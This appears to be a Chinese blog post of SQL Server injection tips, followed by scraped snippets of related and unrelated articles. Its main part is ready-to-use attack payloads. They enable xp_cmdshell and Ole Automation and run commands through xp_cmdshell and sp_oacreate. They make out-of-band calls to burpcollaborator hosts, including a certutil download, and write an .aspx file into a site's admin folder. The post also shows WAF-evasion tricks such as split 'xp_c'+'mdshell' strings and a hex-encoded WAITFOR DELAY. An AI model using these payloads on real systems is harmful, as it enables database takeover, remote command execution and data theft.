sql server环境测试:
几个特性:
1.sql server兼容性可以说是最差的。
举例:
select x from y where id=1
字符串查询
select x from y where id='1' 这是会报错的,不允许的
select x from y where id="1"
假设y表有列名name,那么
select x from y where id="name" 为真。
那么利用这个特性我们可以爆破这个表的列名。
sql server下,挖掘注入就是用单引号('),双引号的场景很少,但是也有。 sql server不支持'1'-'1'=0这种运算,他会认为你是错误的,两个字符串无法进行相减,如果你是'1'-0他会进行类型转换不会出错。 修改:
update x set name='admin' where id=1
如果id处存在注入,那么本质上就是个where条件查询注入,查询怎么注入他就怎么注入。 update x set name="admin" where id=1
他会报错,没有人会这样写,用双引号。 测试sql server 修改注入,只能是'aaa'+'bbb'=aaabbb,如果可以就是注入。 或者是'aaa'' 和'aaa'''
除order by/group by外注入:
环境场景:当输入id->输出id相关数据,输入name,出现name相关数据,可能是order by还有可能是什么?
""是sql servr标识符,而不是字符串,他和mysql不一样
还有可能是这样的: select "name" from x
那么你可以这样去探测:name","id 总结:测试sql server注入使用双引号测试的场景很少,尝试"是不明智的

    

    sql server注入到命令执行一些tips:

    

基础:
开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 执行命令:
exec master..xp_cmdshell 'ping dnslog' 2.启用sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE; 执行命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt' ;declare+%40shell+int+exec+sp_oacreate+'wscript.shell',%40shell+output+exec+sp_oamethod+%40shell,'run',null,'c%3a\windows\system32\nslookup.exe%20"http://2ruqida2pbiyia3mnwnsaiadu40vok.burpcollaborator.net"'; ;declare+@f+int,@g+int;exec+sp_oacreate+%27Scripting.FileSystemObject%27,@f+output;EXEC+SP_OAMETHOD+@f,%27CreateTextFile%27,@f+OUTPUT,%27d:\Dzts\zt\admin\65.txt%27,1;EXEC+sp_oamethod+@f,%27WriteLine%27,null,%27<%@+Page+Language="C%23"%><%+Response.Write("hello,world");+%>%27--
3.调用sp_oamethod 关于bypass:
exec=execute
原语句:execute master..xp_dirtree 'c:'
改造:execute('master..xp_dirtree "c:" ')
再次改造:execute('master..xp_dirtree "\\im86rc9bogsvyfv87zip9sz34uaky9.burpcollaborator.net"' )

  

  

bypass执行命令:
';execute('xp_c'%2b'mdshell " certutil.exe -urlcache -split -f http://cyen6bl8kg2svupmggzc6dk1zs5it7.burpcollaborator.net"');--%20111

  

开启xp_cmdshell bypass:
execute("sp_configure 'show advanced options', 1");RECONFIGURE;execute("sp_configure 'xp_cmdshell', 1;RECONFIGURE"); sql server专属特性:
select 1e1select user
相当于执行select 1e1 和select user,bypass waf
'select 1e1declare @s varchar (8000) set @s=0x77616974666F722064656C61792027303A303A3227 exec (@s) -- a 案例:
aspx/.net站点支持get/post/cookie

  把get参数放到cookie中:

      

Sql server注入一些tips的更多相关文章

  1. SQL Server注入

    1.利用错误消息提取信息 1.1 枚举当前表与列 --' 抛出错误:选择列表中的列 'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中. 发现表名为 'users',存 ...

  2. Sql server注入简单认识

    登录界面常常会涉及到敏感关键字的注入 为了对应面试,再看一下 怎样防止注入, 可以过滤SQL需要参数中的敏感字符(忽略大小写) public static string Split(string in ...

  3. SQL server 注入 和 SQL server 扩展(10.29 第二十九天)

    Step1:检测注入点 Step2: select * from sysobjects   (sysobjects 系统对象表,保存当前数据库的对象) select * from users wher ...

  4. Enable a SQL Server Trace Flag Globally on Linux

    https://www.mssqltips.com/sql-server-tip-category/226/sql-server-on-linux// Microsoft has recently r ...

  5. SQL Server performance tips

    Refer to: http://harriyott.com/2006/01/sql-server-performance-tips A colleague of mine has been look ...

  6. Sql server之sql注入篇

    SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ...

  7. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  8. SQL Server的WAITFOR DELAY注入

    SQL Server的WAITFOR DELAY注入   WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句.它的作用就是等待特定时间,然后继续执行后续的语句.它包含 ...

  9. Webservice WCF WebApi 前端数据可视化 前端数据可视化 C# asp.net PhoneGap html5 C# Where 网站分布式开发简介 EntityFramework Core依赖注入上下文方式不同造成内存泄漏了解一下? SQL Server之深入理解STUFF 你必须知道的EntityFramework 6.x和EntityFramework Cor

    Webservice WCF WebApi   注明:改编加组合 在.net平台下,有大量的技术让你创建一个HTTP服务,像Web Service,WCF,现在又出了Web API.在.net平台下, ...

随机推荐

  1. Python数据读取函数

    1.读取mat数据 import scipy.io as sio data_mat = sio.loadmat(data.mat) 官方文档 获取的数据为字典型,其中"data"为 ...

  2. 鸿蒙的js开发部模式18:鸿蒙的文件上传到python服务器端

    1.首先鸿蒙的js文件上传,设置目录路径为: 构建路径在工程主目录下: 该目录的说明见下面描述: 视图构建如下: 界面代码: <div class="container"&g ...

  3. C++共享数据保护机制

    下面随笔说明C++共享数据保护机制. 共享数据的保护 对于既需要共享.又需要防止改变的数据应该声明为常类型(用const进行修饰). 对于不改变对象状态的成员函数应该声明为常函数. (1)常类型 ①常 ...

  4. zabbix 面板graph图上没有数据显示

    1. 问题: zabbix_server日志出现大量如下错误: query failed: [1526] Table has no partition for value 1507509984 2. ...

  5. SpringDataJPA 入门

    前言 1. 三者的区别与联系 JPA:本身是一种ORM规范,不是ORM框架.由各大ORM框架提供实现. Hibernate是一个完整的ORM框架,常规CRUD我们不需要写一句SQL;框架比较重,学习成 ...

  6. WPF 基础 - Binding 对数据的转换和校验

    1. Binding 对数据的转换和校验 Binding 中,有检验和转换关卡. 1.1 数据校验 源码: namespace System.Windows.Data { public class B ...

  7. TensorFlow学习(1)

    初识TensorFlow 一.术语潜知 深度学习:深度学习(deep learning)是机器学习的分支,是一种试图使用包含复杂结构或由多重非线性变换构成的多个处理层对数据进行高层抽象的算法. 深度学 ...

  8. CF557E Ann and Half-Palindrome 题解

    算法:dp+字典树 题目链接Ann and Half-Palindrome   在CF刷字符串题的时候遇到了这题,其实并没有黑题这么难,个人感觉最多是紫题吧(虽然一开始以为是后缀自动机的神仙题).   ...

  9. 初见pyecharts

    pyecharts(可互动的可视化) 模块准备 在Anaconda Prompt中下载pyecharts v1版本(>=python3.6) pip install pyecharts 可视化最 ...

  10. [二分匹配]Asteroids

    A s t e r o i d s Asteroids Asteroids 题目描述 Bessie wants to navigate her spaceship through a dangerou ...